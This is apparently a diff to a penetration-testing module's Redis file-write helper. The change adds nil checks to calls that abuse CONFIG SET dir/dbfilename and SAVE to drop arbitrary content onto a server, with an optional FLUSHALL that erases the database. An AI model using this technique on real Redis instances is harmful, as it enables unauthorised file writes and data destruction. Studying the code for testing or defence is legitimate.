@@ -55,18 +55,18 @@ def send_file(path, content)
55
55
# Get the currently configured dir and dbfilename before we overwrite them;
56
56
# we should set them back to their original values after we are done.
57
57
# XXX: this is a hack -- we should really parse the responses more correctly
58
- original_dir = redis_command ( 'CONFIG' , 'GET' , 'dir' ) . split ( /\r \n / ) . last
59
- original_dbfilename = redis_command ( 'CONFIG' , 'GET' , 'dbfilename' ) . split ( /\r \n / ) . last
58
+ original_dir = ( redis_command ( 'CONFIG' , 'GET' , 'dir' ) || ' ') . split ( /\r \n / ) . last
59
+ original_dbfilename = ( redis_command ( 'CONFIG' , 'GET' , 'dbfilename' ) || ' ') . split ( /\r \n / ) . last
60
60
if datastore [ 'DISABLE_RDBCOMPRESSION' ]
61
- original_rdbcompression = redis_command ( 'CONFIG' , 'GET' , 'rdbcompression' ) . split ( /\r \n / ) . last
61
+ original_rdbcompression = ( redis_command ( 'CONFIG' , 'GET' , 'rdbcompression' ) || ' ') . split ( /\r \n / ) . last
62
62
end
63
63
64
64
# set the directory which stores the current redis local store
65
- data = redis_command ( 'CONFIG' , 'SET' , 'dir' , dirname )
65
+ data = redis_command ( 'CONFIG' , 'SET' , 'dir' , dirname ) || ''
66
66
return unless data . include? ( '+OK' )
67
67
68
68
# set the file name, relative to the above directory name, that is the redis local store
69
- data = redis_command ( 'CONFIG' , 'SET' , 'dbfilename' , basename )
69
+ data = redis_command ( 'CONFIG' , 'SET' , 'dbfilename' , basename ) || ''
70
70
return unless data . include? ( '+OK' )
71
71
72
72
# Compression string objects using LZF when dump .rdb databases ?
@@ -75,7 +75,7 @@ def send_file(path, content)
75
75
# the dataset will likely be bigger if you have compressible values or
76
76
# keys.
77
77
if datastore [ 'DISABLE_RDBCOMPRESSION' ] && original_rdbcompression . upcase == 'YES'
78
- data = redis_command ( 'CONFIG' , 'SET' , 'rdbcompression' , 'no' )
78
+ data = redis_command ( 'CONFIG' , 'SET' , 'rdbcompression' , 'no' ) || ''
79
79
if data . include? ( '+OK' )
80
80
reset_rdbcompression = true
81
81
else
@@ -85,7 +85,7 @@ def send_file(path, content)
85
85
end
86
86
87
87
if datastore [ 'FLUSHALL' ]
88
- data = redis_command ( 'FLUSHALL' )
88
+ data = redis_command ( 'FLUSHALL' ) || ''
89
89
unless data . include? ( '+OK' )
90
90
print_warning ( "#{ peer } -- failed to flushall(); continuing" )
91
91
end
@@ -96,9 +96,9 @@ def send_file(path, content)
96
96
# multiline. It also probably doesn't work well if the content isn't
97
97
# simple ASCII text
98
98
key = Rex ::Text . rand_text_alpha ( 32 )
99
- data = redis_command ( 'SET' , key , content )
99
+ data = redis_command ( 'SET' , key , content ) || ''
100
100
return unless data . include? ( '+OK' )
101
- data = redis_command ( 'SAVE' )
101
+ data = redis_command ( 'SAVE' ) || ''
102
102
103
103
if data . include? ( '+OK' )
104
104
print_good ( "#{ peer } -- saved #{ content . size } bytes inside of redis DB at #{ path } " )
0 commit comments